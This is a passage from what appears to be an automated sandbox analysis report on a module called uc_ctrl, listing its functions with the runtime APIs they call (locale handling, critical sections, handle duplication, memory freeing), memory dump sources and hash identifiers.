                                                                                              • Opcode Fuzzy Hash: 6827c115686fee91577263f82dbf2063d4626e0b83075b1aa8389a51d34b140d
                                                                                              • Instruction Fuzzy Hash: 6C11B471E01104DFDB05DFA8C860BFDBBB5AF48708F24804DE141AB382C7759A09DB60
                                                                                              Function 6CF038C0 Relevance: 7.6, APIs: 5, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF038C7
                                                                                              • ?getloc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000010), ref: 6CF03925
                                                                                                • Part of subcall function 6CF03690: std::locale::locale.LIBCPMT ref: 6CF03699
                                                                                              • ?pubimbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE?AVlocale@2@ABV32@@Z.MSVCP140(?,00000000,00000010), ref: 6CF03935
                                                                                                • Part of subcall function 6CF036B0: __EH_prolog3.LIBCMT ref: 6CF036B7
                                                                                                • Part of subcall function 6CF036B0: std::locale::locale.LIBCPMT ref: 6CF036C8
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF0393D
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF03945
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3U?$char_traits@_Vlocale@2@W@std@@@std@@std::locale::localestd::locale::~locale$?getloc@?$basic_streambuf@_?pubimbue@?$basic_streambuf@_V32@@
                                                                                              • String ID:
                                                                                              • API String ID: 1293560073-0
                                                                                              • Opcode ID: 6f79b473adb10604d99475c07e16e0e442218260befd4cdcf99d5a594dcd76a6
                                                                                              • Instruction ID: 93e31cf128ea32eee62169f7f3a014a8749c9227bcbb02b3aa414b71864b8115
                                                                                              • Opcode Fuzzy Hash: 6f79b473adb10604d99475c07e16e0e442218260befd4cdcf99d5a594dcd76a6
                                                                                              • Instruction Fuzzy Hash: F921DD79600A05CFCB05DF5CC4908AAB3B6BF897007458599E9058BBA8CB30ED18DBA0
                                                                                              Function 6CF9E3BA Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF9E3C1
                                                                                              • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,00000008), ref: 6CF9E3F5
                                                                                              • GetCurrentProcess.KERNEL32(?,00000000), ref: 6CF9E3FF
                                                                                              • DuplicateHandle.KERNEL32(00000000), ref: 6CF9E406
                                                                                              • GetLastError.KERNEL32(?), ref: 6CF9E429
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CurrentProcess$DuplicateErrorH_prolog3HandleLast
                                                                                              • String ID:
                                                                                              • API String ID: 2082106130-0
                                                                                              • Opcode ID: d22bfc9ec981836891a625296e3ee2ae9321c5b0aaa5de6665ef23770bcb2f21
                                                                                              • Instruction ID: 4e7f8cbcf051c7719bd37857c09cf7397ba9036db12a932afeb28765b24b7f47
                                                                                              • Opcode Fuzzy Hash: d22bfc9ec981836891a625296e3ee2ae9321c5b0aaa5de6665ef23770bcb2f21
                                                                                              • Instruction Fuzzy Hash: AC118E75601211EBEF00DFA8C888B5EBBB5BF48764B218558F915CB790EB30D800CBA1
                                                                                              Function 6CEDABE0 Relevance: 7.6, APIs: 5, Instructions: 52COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6CF345F0), ref: 6CEDABF6
                                                                                              • __Thrd_current.LIBCPMT ref: 6CEDABFC
                                                                                                • Part of subcall function 6CEDA990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6CEDA99F
                                                                                                • Part of subcall function 6CEDA990: GetCurrentThread.KERNEL32 ref: 6CEDA9A6
                                                                                                • Part of subcall function 6CEDA990: GetCurrentProcess.KERNEL32(00000000), ref: 6CEDA9AD
                                                                                                • Part of subcall function 6CEDA990: DuplicateHandle.KERNEL32(00000000), ref: 6CEDA9B4
                                                                                                • Part of subcall function 6CEDA990: CloseHandle.KERNEL32(?), ref: 6CEDA9C1
                                                                                                • Part of subcall function 6CEDA990: GetCurrentThreadId.KERNEL32 ref: 6CEDA9CD
                                                                                              • __Mtx_unlock.LIBCPMT(6CF343F8), ref: 6CEDAC36
                                                                                              • __Cnd_broadcast.LIBCPMT(00000000,6CF343F8), ref: 6CEDAC3E
                                                                                              • LeaveCriticalSection.KERNEL32(6CF345F0), ref: 6CEDAC6E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Current$CriticalHandleProcessSectionThread$CloseCnd_broadcastDuplicateEnterLeaveMtx_unlockThrd_current
                                                                                              • String ID:
                                                                                              • API String ID: 1147146509-0
                                                                                              • Opcode ID: ef72212d4618ddcc52bc61ab9b80e5a5d252e264b0a35020a493ac864ba5479a
                                                                                              • Instruction ID: da2db619dbe691ff210f379485d7af10bc8a0fc12bc78577ffbad46713c8cd89
                                                                                              • Opcode Fuzzy Hash: ef72212d4618ddcc52bc61ab9b80e5a5d252e264b0a35020a493ac864ba5479a
                                                                                              • Instruction Fuzzy Hash: 7B110432605302DFDB219F15E44078ABBB0FB44739F260A2DE46D42A80EB327955CBD2
                                                                                              Function 6CF8E5AD Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • TlsFree.KERNEL32(6D1C72B4,E7ACE0D8,?,?,00000001,6D0E5AC4,000000FF,?,6CF8E702,00000000,00000001), ref: 6CF8E5F4
                                                                                              • GlobalHandle.KERNEL32(00A56260), ref: 6CF8E603
                                                                                              • GlobalUnlock.KERNEL32(00000000,?,?,00000001,6D0E5AC4,000000FF,?,6CF8E702,00000000,00000001), ref: 6CF8E60C
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 6CF8E613
                                                                                              • DeleteCriticalSection.KERNEL32(6D1C72D0,E7ACE0D8,?,?,00000001,6D0E5AC4,000000FF,?,6CF8E702,00000000,00000001), ref: 6CF8E61D
                                                                                                • Part of subcall function 6CF8E867: EnterCriticalSection.KERNEL32(6D1C72D0,6D1C72B4,00000000,6D1C72D0), ref: 6CF8E8E1
                                                                                                • Part of subcall function 6CF8E867: LeaveCriticalSection.KERNEL32(6D1C72D0,?), ref: 6CF8E8F4
                                                                                                • Part of subcall function 6CF8E867: LocalFree.KERNEL32(00000000), ref: 6CF8E8FD
                                                                                                • Part of subcall function 6CF8E867: TlsSetValue.KERNEL32(?,00000000), ref: 6CF8E918
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
                                                                                              • String ID:
                                                                                              • API String ID: 1549993015-0
                                                                                              • Opcode ID: 761582ea784408151e20085ff16033453d2889e9ea831b4c922400d8644a6f07
                                                                                              • Instruction ID: a6735683ac1e7f6e67aab7f07a9044ac224964cd0c1acc4aa5afec527822d648
                                                                                              • Opcode Fuzzy Hash: 761582ea784408151e20085ff16033453d2889e9ea831b4c922400d8644a6f07
                                                                                              • Instruction Fuzzy Hash: DD018035601516EFCB11CF25D808B66BBB8FB09725F24022AF811C7A90DB35E811CBD1
                                                                                              Function 6CEFBFB1 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEFBFB8
                                                                                              • new.LIBCMT ref: 6CEFBFCC
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                                • Part of subcall function 6CEEE342: __EH_prolog3_GS.LIBCMT ref: 6CEEE349
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,?,?,?,?,00000058,6CEFD4D3,00000000,?,?,?,00000004), ref: 6CEFBFFD
                                                                                              • _Getcoll.MSVCP140(?,?,?,?,?,?,00000058,6CEFD4D3,00000000,?,?,?,00000004), ref: 6CEFC015
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,?,?,?,00000058,6CEFD4D3,00000000,?,?,?,00000004), ref: 6CEFC025
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 1160371535-0
                                                                                              • Opcode ID: fbba9c69311476daa81cb30a7e76043628fdc403ae566084489b3267ad8d1da0
                                                                                              • Instruction ID: 2aaf2574205d0079abfa49c109acaa9d7d695c0a221d381327ac8f6d2e205ece
                                                                                              • Opcode Fuzzy Hash: fbba9c69311476daa81cb30a7e76043628fdc403ae566084489b3267ad8d1da0
                                                                                              • Instruction Fuzzy Hash: 96113571A403049EEB20DFA8C8117DDB7F0AF08759F20842DD05AAB780DBB89649CF55
                                                                                              Function 6CEF28C1 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF28C8
                                                                                              • new.LIBCMT ref: 6CEF28DC
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                                • Part of subcall function 6CEEE342: __EH_prolog3_GS.LIBCMT ref: 6CEEE349
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,00000058,6CEF976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEF290D
                                                                                              • _Getcoll.MSVCP140(?,00000058,6CEF976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEF2925
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000058,6CEF976E,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEF2935
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_Locinfo@std@@$??0_??1_Getcollmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 1160371535-0
                                                                                              • Opcode ID: 471b781e249a79b3283c9afe18e476309cc98eb4ee8794455f4ecc52d9dd2035
                                                                                              • Instruction ID: 2454f695835f5e36684b4e8b61a07d252726f190135711c099de1a41dfc9f67f
                                                                                              • Opcode Fuzzy Hash: 471b781e249a79b3283c9afe18e476309cc98eb4ee8794455f4ecc52d9dd2035
                                                                                              • Instruction Fuzzy Hash: D1113571A003088EEB10CFA8C8157DDB7F0AF08759F20946DD05AAB790DBB89648CB55
                                                                                              Function 6CEFACD0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFACD7
                                                                                              • new.LIBCMT ref: 6CEFACEE
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFAD08
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFAD1C
                                                                                                • Part of subcall function 6CEFC0B0: ?_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6CEFAD21,00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFC0BE
                                                                                                • Part of subcall function 6CEFC0B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6CEFAD21,00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFC0CE
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFAD26
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGettnames@_Init@?$time_put@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@V12@V12@@V?$ostreambuf_iterator@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 836515089-0
                                                                                              • Opcode ID: 807b8c50144dfd3923e569b1d5bd4fa9f64e60878b56bdc3fd74d578116d048e
                                                                                              • Instruction ID: 8a31270dbe587540421648d8ad6d41bed96759422a5afa1c26b00ae604d630dc
                                                                                              • Opcode Fuzzy Hash: 807b8c50144dfd3923e569b1d5bd4fa9f64e60878b56bdc3fd74d578116d048e
                                                                                              • Instruction Fuzzy Hash: 86F0F0B0A00306CBCB00EFA4C8A068DB3B4FF08B08F70482ED415ABB40CB70A649CB81
                                                                                              Function 6CEE3D60 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE3D67
                                                                                              • new.LIBCMT ref: 6CEE3D7E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEED9BC,?,?,00000000,?,?,?,00000004), ref: 6CEE3D98
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??0?$ctype@G@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6CEED9BC,?,?,00000000,?,?,?,00000004), ref: 6CEE3DAC
                                                                                                • Part of subcall function 6CEE3D20: __EH_prolog3.LIBCMT ref: 6CEE3D27
                                                                                                • Part of subcall function 6CEE3D20: ctype.LIBCPMT(?,00000004,6CEE3DB1,00000000,00000000,0000003C,6CEED9BC,?,?,00000000,?,?,?,00000004), ref: 6CEE3D44
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6CEED9BC,?,?,00000000,?,?,?,00000004), ref: 6CEE3DB6
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0?$ctype@??0_??1_ExceptionG@std@@Locinfo@1@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesctypemallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 3499470432-0
                                                                                              • Opcode ID: 9c6c05fb98298edf3bc7a77a4157c7246c6795484e89d978387609c62b579923
                                                                                              • Instruction ID: 4bf90f43800bc74c36c18bd8109a8047b3f3f1391401084bd1b5284e13c18f8e
                                                                                              • Opcode Fuzzy Hash: 9c6c05fb98298edf3bc7a77a4157c7246c6795484e89d978387609c62b579923
                                                                                              • Instruction Fuzzy Hash: 56F090B4A0030ADADB00EFE4C454BDDBBB4AF0C798F60445DD505AB781DB749648C791
                                                                                              Function 6CEE2F30 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE2F37
                                                                                              • new.LIBCMT ref: 6CEE2F4E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEED921,?,?,00000000,?,?,?,00000004), ref: 6CEE2F68
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6CEED921,?,?,00000000,?,?,?,00000004), ref: 6CEE2F7C
                                                                                                • Part of subcall function 6CEE2EF0: __EH_prolog3.LIBCMT ref: 6CEE2EF7
                                                                                                • Part of subcall function 6CEE2EF0: _Getcvt.MSVCP140(?,00000030,6CEE2F81,00000000,00000000,0000003C,6CEED921,?,?,00000000,?,?,?,00000004), ref: 6CEE2F15
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6CEED921,?,?,00000000,?,?,?,00000004), ref: 6CEE2F86
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
